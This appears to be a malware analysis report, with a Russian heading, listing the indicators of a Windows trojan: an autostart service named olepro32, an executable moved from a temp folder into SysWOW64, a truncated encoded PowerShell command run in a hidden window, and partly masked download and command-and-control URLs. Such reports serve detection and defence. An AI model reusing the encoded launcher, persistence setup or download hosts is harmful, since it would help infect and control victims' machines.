Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\olepro32] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\olepro32] 'ImagePath' = '"%WINDIR%\SysWOW64\msjint40\olepro32.exe"'
- 'olepro32' "%WINDIR%\SysWOW64\msjint40\olepro32.exe"
- 'olepro32' %WINDIR%\SysWOW64\msjint40\olepro32.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGkAZgBhAHoAXwBvAD0AKAAnAFYAJwArACcAYQAnACsAKAAnAHkAJwArACcAbQBlADcAOQAnACkAKQA7ACQAQgBiAGYAbABoAGMANwA9ACQASQB0ADgAdwBjADcAdgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...
- %TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe
- %WINDIR%\syswow64\msjint40\olepro32.exe
- %TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe в %WINDIR%\syswow64\msjint40\olepro32.exe
- '47.##.140.164':80
- http://tu####ochaco.com/wp-admin/R2/
- http://47.##.140.164/orePua/KnPSzmo45kld/rdds/nXtF/DVTpC4ujdYcUo/
- DNS ASK tu####ochaco.com
- '%TEMP%\n9jwhwa\rl_fn65\xjn5eg.exe'
- '%WINDIR%\syswow64\msjint40\olepro32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABMAGkAZgBhAHoAXwBvAD0AKAAnAFYAJwArACcAYQAnACsAKAAnAHkAJwArACcAbQBlADcAOQAnACkAKQA7ACQAQgBiAGYAbABoAGMANwA9ACQASQB0ADgAdwBjADcAdgAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQ...' (со скрытым окном)